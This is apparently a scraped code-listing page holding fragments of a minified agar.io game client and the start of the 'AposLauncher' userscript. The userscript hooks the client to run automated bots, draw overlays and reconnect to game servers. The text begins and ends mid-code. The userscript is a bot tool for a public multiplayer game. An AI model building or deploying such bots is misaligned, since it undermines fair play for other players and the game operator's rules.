'US-Atlanta', IN: 'US-Atlanta', IA: 'US-Atlanta', KS: 'US-Atlanta', KY: 'US-Atlanta', LA: 'US-Atlanta', ME: 'US-Atlanta', MD: 'US-Atlanta', MA: 'US-Atlanta', MI: 'US-Atlanta', MN: 'US-Fremont', MS: 'US-Atlanta', MO: 'US-Atlanta', MT: 'US-Fremont', NE: 'US-Fremont', NV: 'US-Fremont', NH: 'US-Atlanta', NJ: 'US-Atlanta', NM: 'US-Fremont', NY: 'US-Atlanta', NC: 'US-Atlanta', ND: 'US-Fremont', OH: 'US-Atlanta', OK: 'US-Atlanta', OR: 'US-Fremont', PA: 'US-Atlanta', RI: 'US-Atlanta', SC: 'US-Atlanta', SD: 'US-Fremont', TN: 'US-Atlanta', TX: 'US-Atlanta', UT: 'US-Fremont', VT: 'US-Atlanta', VA: 'US-Atlanta', WA: 'US-Fremont', WV: 'US-Atlanta', WI: 'US-Atlanta', WY: 'US-Fremont', DC: 'US-Atlanta', AS: 'US-Atlanta', GU: 'US-Atlanta', MP: 'US-Atlanta', PR: 'US-Atlanta', UM: 'US-Atlanta', VI: 'US-Atlanta' }, UM: 'SG-Singapore', VI: 'US-Atlanta', UY: 'BR-Brazil', UZ: 'JP-Tokyo', VU: 'SG-Singapore', VE: 'BR-Brazil', VN: 'JP-Tokyo', WF: 'SG-Singapore', EH: 'EU-London', YE: 'JP-Tokyo', ZM: 'EU-London', ZW: 'EU-London' }; h.connect = Ha; //UPDATE window.getDarkBool = function() { return ha; } window.getMassBool = function() { return Pa; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return u; } window.getCells = function() { return z; } window.getPlayer = function() { return m; } window.getWidth = function() { return p; } window.getHeight = function() { return q; } window.getRatio = function() { return g; } window.getOffsetX = function() { return P; } window.getOffsetY = function() { return Q; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return X; } window.getPointY = function() { return Y; } window.getMouseX = function() { return T; } window.getMouseY = function() { return U; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return G; } window.setPoint = function(x, y) { X = x; Y = y; } window.createFake = function(a, b, c, d, e, f) { var n = new Ka(a, b, c, d, e, f); return n; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } var aa = 500, La = - 1, Ma = - 1, w = null, y = 1, ia = null, J = { }, ya = 'poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;hitler;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook'.split(';'), gb = [ '8', 'nasa' ], hb = [ 'm\'blob' ]; Ka.prototype = { id: 0, a: null, //points l: null, //pointsAcc name: null, //name k: null, //nameCache J: null, //sizeCache x: 0, y: 0, size: 0, p: 0, //ox q: 0, //oy o: 0, //oSize D: 0, //nx F: 0, //ny n: 0, //nSize W: 0, //drawTime L: 0, //updateTime ja: 0, ba: 0, A: !1, d: !1, j: !1, M: !0, //UPDATE updateCode: 0, danger: false, dangerTimeOut: 0, S: function () { var a; for (a = 0; a < u.length; a++) if (u[a] == this) { u.splice(a, 1); break } delete z[this.id]; a = m.indexOf(this); - 1 != a && (ta = !0, m.splice(a, 1)); a = F.indexOf(this.id); - 1 != a && F.splice(a, 1); this.A = !0; H.push(this) }, h: function () { return Math.max(~~(0.3 * this.size), 24) }, Z: function (a) { if (this.name = a) null == this.k ? this.k = new ja(this.h(), '#FFFFFF', !0, '#000000') : this.k.H(this.h()), this.k.u(this.name) }, R: function () { for (var a = this.C(); this.a.length > a; ) { var b = ~~(Math.random() * this.a.length); this.a.splice(b, 1); this.l.splice(b, 1) } 0 == this.a.length && 0 < a && (this.a.push({ Q: this, e: this.size, x: this.x, y: this.y }), this.l.push(Math.random() - 0.5)); for (; this.a.length < a; ) { var b = ~~(Math.random() * this.a.length), c = this.a[b]; this.a.splice(b, 0, { Q: this, e: c.e, x: c.x, y: c.y }); this.l.splice(b, 0, this.l[b]) } }, C: function () { var a = 10; 20 > this.size && (a = 0); this.d && (a = 30); var b = this.size; this.d || (b *= g); b *= y; this.W & 32 && (b *= 0.25); return ~~Math.max(b, a) }, ha: function () { this.R(); for (var a = this.a, b = this.l, c = a.length, d = 0; d < c; ++d) { var e = b[(d - 1 + c) % c], l = b[(d + 1) % c]; b[d] += (Math.random() - 0.5) * (this.j ? 3 : 1); b[d] *= 0.7; 10 < b[d] && (b[d] = 10); - 10 > b[d] && (b[d] = - 10); b[d] = (e + l + 8 * b[d]) / 10 } for (var k = this, h = this.d ? 0 : (this.id / 1000 + G / 10000) % (2 * Math.PI), d = 0; d < c; ++d) { var f = a[d].e, e = a[(d - 1 + c) % c].e, l = a[(d + 1) % c].e; if (15 < this.size && null != L && 20 < this.size * g) { var m = !1, p = a[d].x, q = a[d].y; L.ia(p - 5, q - 5, 10, 10, function (a) { a.Q != k && 25 > (p - a.x) * (p - a.x) + (q - a.y) * (q - a.y) && (m = !0) }); !m && (a[d].x < da || a[d].y < ea || a[d].x > fa || a[d].y > ga) && (m = !0); m && (0 < b[d] && (b[d] = 0), b[d] -= 1) } f += b[d]; 0 > f && (f = 0); f = this.j ? (19 * f + this.size) / 20 : (12 * f + this.size) / 13; a[d].e = (e + l + 8 * f) / 10; e = 2 * Math.PI / c; l = this.a[d].e; this.d && 0 == d % 2 && (l += 5); a[d].x = this.x + Math.cos(e * d + h) * l; a[d].y = this.y + Math.sin(e * d + h) * l } }, K: function () { var a; a = (G - this.L) / 120; a = 0 > a ? 0 : 1 < a ? 1 : a; var b = 0 > a ? 0 : 1 < a ? 1 : a; this.h(); if (this.A && 1 <= b) { var c = H.indexOf(this); - 1 != c && H.splice(c, 1) } this.x = a * (this.D - this.p) + this.p; this.y = a * (this.F - this.q) + this.q; this.size = b * (this.n - this.o) + this.o; return b }, I: function () { return this.x + this.size + 40 < s - p / 2 / g || this.y + this.size + 40 < t - q / 2 / g || this.x - this.size - 40 > s + p / 2 / g || this.y - this.size - 40 > t + q / 2 / g ? !1 : !0 }, T: function () { if (this.I()) { var a = !this.d && !this.j && 0.4 > g; 5 > this.C() && (a = !0); if (this.M && !a) for (var b = 0; b < this.a.length; b++) this.a[b].e = this.size; this.M = a; e.save(); this.ba = G; b = this.K(); this.A && (e.globalAlpha *= 1 - b); e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = this.d ? 'miter' : 'round'; xa ? (e.fillStyle = '#FFFFFF', e.strokeStyle = '#AAAAAA') : (e.fillStyle = this.color, e.strokeStyle = this.color); if (a) e.beginPath(), e.arc(this.x, this.y, this.size, 0, 2 * Math.PI, !1); else { this.ha(); e.beginPath(); var c = this.C(); e.moveTo(this.a[0].x, this.a[0].y); for (b = 1; b <= c; ++b) { var d = b % c; e.lineTo(this.a[d].x, this.a[d].y) } } e.closePath(); c = this.name.toLowerCase(); !this.j && Oa && ':teams' != M ? - 1 != ya.indexOf(c) ? (J.hasOwnProperty(c) || (J[c] = new Image, J[c].src = 'skins/' + c + '.png'), b = 0 != J[c].width && J[c].complete ? J[c] : null) : b = null : b = null; b = (d = b) ? - 1 != hb.indexOf(c) : !1; a || e.stroke(); e.fill(); null == d || b || (e.save(), e.clip(), e.drawImage(d, this.x - this.size, this.y - this.size, 2 * this.size, 2 * this.size), e.restore()); (xa || 15 < this.size) && !a && (e.strokeStyle = '#000000', e.globalAlpha *= 0.1, e.stroke()); e.globalAlpha = 1; null != d && b && e.drawImage(d, this.x - 2 * this.size, this.y - 2 * this.size, 4 * this.size, 4 * this.size); b = - 1 != m.indexOf(this); a = ~~this.y; if ((ka || b) && this.name && this.k && (null == d || - 1 == gb.indexOf(c))) { d = this.k; d.u(this.name); d.H(this.h()); c = Math.ceil(10 * g) / 10; d.$(c); var d = d.G(), f = ~~(d.width / c), l = ~~(d.height / c); e.drawImage(d, ~~this.x - ~~(f / 2), a - ~~(l / 2), f, l); a += d.height / 2 / c + 4 } Pa && (b || 0 == m.length && (!this.d || this.j) && 20 < this.size) && (null == this.J && (this.J = new ja(this.h() / 2, '#FFFFFF', !0, '#000000')), b = this.J, b.H(this.h() / 2), b.u(~~(this.size * this.size / 100)), c = Math.ceil(10 * g) / 10, b.$(c), d = b.G(), f = ~~(d.width / c), l = ~~(d.height / c), e.drawImage(d, ~~this.x - ~~(f / 2), a - ~~(l / 2), f, l)); e.restore() } } }; ja.prototype = { w: '', N: '#000000', P: !1, s: '#000000', r: 16, m: null, O: null, g: !1, v: 1, H: function (a) { this.r != a && (this.r = a, this.g = !0) }, $: function (a) { this.v != a && (this.v = a, this.g = !0) }, setStrokeColor: function (a) { this.s != a && (this.s = a, this.g = !0) }, u: function (a) { a != this.w && (this.w = a, this.g = !0) }, G: function () { null == this.m && (this.m = document.createElement('canvas'), this.O = this.m.getContext('2d')); if (this.g) { this.g = !1; var a = this.m, b = this.O, c = this.w, d = this.v, e = this.r, l = e + 'px Ubuntu'; b.font = l; var k = ~~(0.2 * e); a.width = (b.measureText(c).width + 6) * d; a.height = (e + k) * d; b.font = l; b.scale(d, d); b.globalAlpha = 1; b.lineWidth = 3; b.strokeStyle = this.s; b.fillStyle = this.N; this.P && b.strokeText(c, 3, e - k / 2); b.fillText(c, 3, e - k / 2) } return this.m } }; Date.now || (Date.now = function () { return (new Date).getTime() }); var Ua = { ca: function (a) { function b(a, b, c, d, e) { this.x = a; this.y = b; this.f = c; this.c = d; this.depth = e; this.items = [ ]; this.b = [ ] } var c = a.da || 2, d = a.ea || 4; b.prototype = { x: 0, y: 0, f: 0, c: 0, depth: 0, items: null, b: null, B: function (a) { for (var b = 0; b < this.items.length; ++b) { var c = this.items[b]; if (c.x >= a.x && c.y >= a.y && c.x < a.x + a.f && c.y < a.y + a.c) return !0 } if (0 != this.b.length) { var d = this; return this.V(a, function (b) { return d.b[b].B(a) }) } return !1 }, t: function (a, b) { for (var c = 0; c < this.items.length; ++c) b(this.items[c]); if (0 != this.b.length) { var d = this; this.V(a, function (c) { d.b[c].t(a, b) }) } }, i: function (a) { 0 != this.b.length ? this.b[this.U(a)].i(a) : this.items.length >= c && this.depth < d ? (this.aa(), this.b[this.U(a)].i(a)) : this.items.push(a) }, U: function (a) { return a.x < this.x + this.f / 2 ? a.y < this.y + this.c / 2 ? 0 : 2 : a.y < this.y + this.c / 2 ? 1 : 3 }, V: function (a, b) { return a.x < this.x + this.f / 2 && (a.y < this.y + this.c / 2 && b(0) || a.y >= this.y + this.c / 2 && b(2)) || a.x >= this.x + this.f / 2 && (a.y < this.y + this.c / 2 && b(1) || a.y >= this.y + this.c / 2 && b(3)) ? !0 : !1 }, aa: function () { var a = this.depth + 1, c = this.f / 2, d = this.c / 2; this.b.push(new b(this.x, this.y, c, d, a)); this.b.push(new b(this.x + c, this.y, c, d, a)); this.b.push(new b(this.x, this.y + d, c, d, a)); this.b.push(new b(this.x + c, this.y + d, c, d, a)); a = this.items; this.items = [ ]; for (c = 0; c < a.length; c++) this.i(a[c]) }, clear: function () { for (var a = 0; a < this.b.length; a++) this.b[a].clear(); this.items.length = 0; this.b.length = 0 } }; var e = { x: 0, y: 0, f: 0, c: 0 }; return { root: new b(a.X, a.Y, a.fa - a.X, a.ga - a.Y, 0), i: function (a) { this.root.i(a) }, t: function (a, b) { this.root.t(a, b) }, ia: function (a, b, c, d, f) { e.x = a; e.y = b; e.f = c; e.c = d; this.root.t(e, f) }, B: function (a) { return this.root.B(a) }, clear: function () { this.root.clear() } } } }; h.onload = Sa } }) (window, window.jQuery);
Layr-Labs
No description available
joao3024
// ==UserScript== // @name Launcher // @namespace AposLauncher // @include http://agar.io/ // @version 2.1 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== Number.prototype.mod = function(n) { return ((this%n)+n)%n; }; Array.prototype.peek = function() { return this[this.length-1]; } console.log("Running Bot Launcher!"); (function (h, f) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function Sa() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', {value: (window.botList.length - 1), text: "Human"}).appendTo(bList); la = !0; za(); setInterval(za, 180000); B = ma = document.getElementById('canvas'); e = B.getContext('2d'); B.onmousedown = function (a) { if (Aa) { var b = a.clientX - (5 + p / 5 / 2), c = a.clientY - (5 + p / 5 / 2); if (Math.sqrt(b * b + c * c) <= p / 5 / 2) { K(); C(17); return } } T = a.clientX; U = a.clientY; na(); K() }; B.onmousemove = function (a) { T = a.clientX; U = a.clientY; na() }; B.onmouseup = function () { }; /firefox/i.test(navigator.userAgent) ? document.addEventListener('DOMMouseScroll', Ba, !1) : document.body.onmousewheel = Ba; var a = !1, b = !1, c = !1; h.onkeydown = function (d) { 32 != d.keyCode || a || (K(), C(17), a = !0); 81 != d.keyCode || b || (C(18), b = !0); 87 != d.keyCode || c || (K(), C(21), c = !0); 27 == d.keyCode && Ca(!0); //UPDATE keyAction(d); }; h.onkeyup = function (d) { 32 == d.keyCode && (a = !1); 87 == d.keyCode && (c = !1); 81 == d.keyCode && b && (C(19), b = !1) }; h.onblur = function () { C(19); c = b = a = !1 }; h.onresize = Da; Da(); h.requestAnimationFrame ? h.requestAnimationFrame(Ea) : setInterval(oa, 1000 / 60); setInterval(K, 40); v && f('#region').val(v); Fa(); V(f('#region').val()); null == r && v && W(); f('#overlays').show() } function Ba(a) { D *= Math.pow(0.9, a.wheelDelta / - 120 || a.detail || 0); 1 > D && (D = 1); D > 4 / g && (D = 4 / g) } function Ta() { if (0.4 > g) L = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, d = Number.NEGATIVE_INFINITY, e = 0, l = 0; l < u.length; l++) { var k = u[l]; !k.I() || k.M || 20 >= k.size * g || (e = Math.max(k.size, e), a = Math.min(k.x, a), b = Math.min(k.y, b), c = Math.max(k.x, c), d = Math.max(k.y, d)) } L = Ua.ca({ X: a - (e + 100), Y: b - (e + 100), fa: c + (e + 100), ga: d + (e + 100), da: 2, ea: 4 }); for (l = 0; l < u.length; l++) if (k = u[l], k.I() && !(20 >= k.size * g)) for (a = 0; a < k.a.length; ++a) b = k.a[a].x, c = k.a[a].y, b < s - p / 2 / g || c < t - q / 2 / g || b > s + p / 2 / g || c > t + q / 2 / g || L.i(k.a[a]) } } function na() { //UPDATE if (toggle ||window.botList[botIndex][0] == "Human") { X = (T - p / 2) / g + s; Y = (U - q / 2) / g + t } } function za() { null == Z && (Z = { }, f('#region').children().each(function () { var a = f(this), b = a.val(); b && (Z[b] = a.text()) })); f.get($ + '//m.agar.io/info', function (a) { var b = { }, c; for (c in a.regions) { var d = c.split(':') [0]; b[d] = b[d] || 0; b[d] += a.regions[c].numPlayers } for (c in b) f('#region option[value="' + c + '"]').text(Z[c] + ' (' + b[c] + ' players)') }, 'json') } function Ga() { f('#adsBottom').hide(); f('#overlays').hide(); Fa() } function V(a) { a && a != v && (f('#region').val() != a && f('#region').val(a), v = h.localStorage.location = a, f('.region-message').hide(), f('.region-message.' + a).show(), f('.btn-needs-server').prop('disabled', !1), la && W()) } function Ca(a) { E = null; f('#overlays').fadeIn(a ? 200 : 3000); a || f('#adsBottom').fadeIn(3000) } function Fa() { f('#region').val() ? h.localStorage.location = f('#region').val() : h.localStorage.location && f('#region').val(h.localStorage.location); f('#region').val() ? f('#locationKnown').append(f('#region')) : f('#locationUnknown').append(f('#region')) } function pa() { console.log('Find ' + v + M); f.ajax($ + '//m.agar.io/', { error: function () { setTimeout(pa, 1000) }, success: function (a) { a = a.split('\n'); '45.79.222.79:443' == a[0] ? pa() : Ha('ws://' + a[0]) }, dataType: 'text', method: 'POST', cache: !1, crossDomain: !0, data: v + M || '?' }) } function W() { la && v && (f('#connecting').show(), pa()) } function Ha(a) { if (r) { r.onopen = null; r.onmessage = null; r.onclose = null; try { r.close() } catch (b) { } r = null } var c = h.location.search.slice(1); /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+$/.test(c) && (a = 'ws://' + c); Va && (a = a.split(':'), a = a[0] + 's://ip-' + a[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + ( + a[2] + 2000)); F = [ ]; m = [ ]; z = { }; u = [ ]; H = [ ]; A = [ ]; w = x = null; I = 0; console.log('Connecting to ' + a); //UPDATE serverIP = a; r = new WebSocket(a); r.binaryType = 'arraybuffer'; r.onopen = Wa; r.onmessage = Xa; r.onclose = Ya; r.onerror = function () { console.log('socket error') } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { r.send(a.buffer) } function Wa() { var a; aa = 500; f('#connecting').hide(); console.log('socket open'); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 673720361, !0); O(a); Ia() } function Ya() { console.log('socket close'); setTimeout(W, aa); aa *= 1.5 } function Xa(a) { Za(new DataView(a.data)) } function Za(a) { function b() { for (var b = ''; ; ) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: $a(a, c); break; case 17: P = a.getFloat32(c, !0); c += 4; Q = a.getFloat32(c, !0); c += 4; R = a.getFloat32(c, !0); c += 4; break; case 20: m = [ ]; F = [ ]; break; case 21: qa = a.getInt16(c, !0); c += 2; ra = a.getInt16(c, !0); c += 2; sa || (sa = !0, ba = qa, ca = ra); break; case 32: F.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != x) break; var d = a.getUint32(c, !0), c = c + 4; A = [ ]; for (var e = 0; e < d; ++e) { var l = a.getUint32(c, !0), c = c + 4; A.push({ id: l, name: b() }) } Ja(); break; case 50: x = [ ]; d = a.getUint32(c, !0); c += 4; for (e = 0; e < d; ++e) x.push(a.getFloat32(c, !0)), c += 4; Ja(); break; case 64: da = a.getFloat64(c, !0), c += 8, ea = a.getFloat64(c, !0), c += 8, fa = a.getFloat64(c, !0), c += 8, ga = a.getFloat64(c, !0), c += 8, P = (fa + da) / 2, Q = (ga + ea) / 2, R = 1, 0 == m.length && (s = P, t = Q, g = R) } } function $a(a, b) { G = + new Date; var c = Math.random(); ta = !1; var d = a.getUint16(b, !0); b += 2; for (var e = 0; e < d; ++e) { var l = z[a.getUint32(b, !0)], k = z[a.getUint32(b + 4, !0)]; b += 8; l && k && (k.S(), k.p = k.x, k.q = k.y, k.o = k.size, k.D = l.x, k.F = l.y, k.n = k.size, k.L = G) } for (e = 0; ; ) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++e; var h, l = a.getInt16(b, !0); b += 2; k = a.getInt16(b, !0); b += 2; h = a.getInt16(b, !0); b += 2; for (var g = a.getUint8(b++), f = a.getUint8(b++), p = a.getUint8(b++), g = (g << 16 | f << 8 | p).toString(16); 6 > g.length; ) g = '0' + g; var g = '#' + g, f = a.getUint8(b++), p = !!(f & 1), r = !!(f & 16); f & 2 && (b += 4); f & 4 && (b += 8); f & 8 && (b += 16); for (var q, n = ''; ; ) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; z.hasOwnProperty(d) ? (n = z[d], n.K(), n.p = n.x, n.q = n.y, n.o = n.size, n.color = g) : (n = new Ka(d, l, k, h, g, q), n.ka = l, n.la = k); n.d = p; n.j = r; n.D = l; n.F = k; n.n = h; n.ja = c; n.L = G; n.W = f; q && n.Z(q); - 1 != F.indexOf(d) && - 1 == m.indexOf(n) && (document.getElementById('overlays').style.display = 'none', m.push(n), 1 == m.length && (s = n.x, t = n.y)) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function (element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (getLastUpdate() - interNodes[element].L) > 3000) { delete interNodes[element]; } else if (isRemoved && computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) < screenDistance()) { //console.log("Too close! Remove " + computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) + " || " + screenDistance()); delete interNodes[element]; } }); c = a.getUint32(b, !0); b += 4; for (e = 0; e < c; e++) d = a.getUint32(b, !0), b += 4, n = z[d], null != n && n.S(); //ta && 0 == m.length && Ca(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance (getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance (getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY();; } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function K() { //UPDATE if (getPlayer().length == 0) { setNick(originalName); } var a; if (ua()) { a = T - p / 2; var b = U - q / 2; 64 > a * a + b * b || 0.01 > Math.abs(La - X) && 0.01 > Math.abs(Ma - Y) || (La = X, Ma = Y, a = N(21), a.setUint8(0, 16), a.setFloat64(1, X, !0), a.setFloat64(9, Y, !0), a.setUint32(17, 0, !0), O(a)) } } function Ia() { if (ua() && null != E) { var a = N(1 + 2 * E.length); a.setUint8(0, 0); for (var b = 0; b < E.length; ++b) a.setUint16(1 + 2 * b, E.charCodeAt(b), !0); O(a) } } function ua() { return null != r && r.readyState == r.OPEN } function C(a) { if (ua()) { var b = N(1); b.setUint8(0, a); O(b) } } function Ea() { oa(); h.requestAnimationFrame(Ea) } function Da() { p = h.innerWidth; q = h.innerHeight; ma.width = B.width = p; ma.height = B.height = q; oa() } function Na() { var a; a = 1 * Math.max(q / 1080, p / 1920); return a *= D } function ab() { if (0 != m.length) { for (var a = 0, b = 0; b < m.length; b++) a += m[b].size; a = Math.pow(Math.min(64 / a, 1), 0.4) * Na(); g = (9 * g + a) / 10 } } function oa() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++bb; G = b; if (0 < m.length) { ab(); for (var c = a = 0, d = 0; d < m.length; d++) m[d].K(), a += m[d].x / m.length, c += m[d].y / m.length; P = a; Q = c; R = g; s = (s + a) / 2; t = (t + c) / 2 } else s = (29 * s + P) / 30, t = (29 * t + Q) / 30, g = (9 * g + R * Na()) / 10; Ta(); na(); va || e.clearRect(0, 0, p, q); va ? (e.fillStyle = ha ? '#111111' : '#F2FBFF', e.globalAlpha = 0.05, e.fillRect(0, 0, p, q), e.globalAlpha = 1) : cb(); u.sort(function (a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); e.save(); e.translate(p / 2, q / 2); e.scale(g, g); e.translate( - s, - t); for (d = 0; d < H.length; d++) H[d].T(); for (d = 0; d < u.length; d++) u[d].T(); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(e); if (sa) { ba = (3 * ba + qa) / 4; ca = (3 * ca + ra) / 4; e.save(); e.strokeStyle = '#FFAAAA'; e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = 'round'; e.globalAlpha = 0.5; e.beginPath(); for (d = 0; d < m.length; d++) e.moveTo(m[d].x, m[d].y), e.lineTo(ba, ca); e.stroke(); e.restore() } e.restore(); w && w.width && e.drawImage(w, p - w.width - 10, 10); I = Math.max(I, db()); //UPDATE sessionScore = Math.max(I, sessionScore); 0 != I && (null == ia && (ia = new ja(24, '#FFFFFF', true,'#000000')), ia.u('Score: ' + ~~(I / 100) + ' || Best Score: ' + ~~(sessionScore / 100) + " || Best time alive: " + bestTime + " seconds"), c = ia.G(), a = c.width, e.globalAlpha = 0.2, e.fillStyle = '#000000', e.fillRect(10, q - 10 - 24 - 10, a + 10, 34), e.globalAlpha = 1, e.drawImage(c, 15, q - 10 - 24 - 5)); eb(); b = Date.now() - b; b > 1000 / 60 ? y -= 0.01 : b < 1000 / 65 && (y += 0.01); 0.4 > y && (y = 0.4); 1 < y && (y = 1) drawStats(e); } //UPDATE function customRender(d) { d.save(); for(var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for(var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for(var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new ja(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.u(dText[i]); var textRender = text.G(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { nbSeconds = (currentDate.getSeconds() + (currentDate.getMinutes() * 60) + 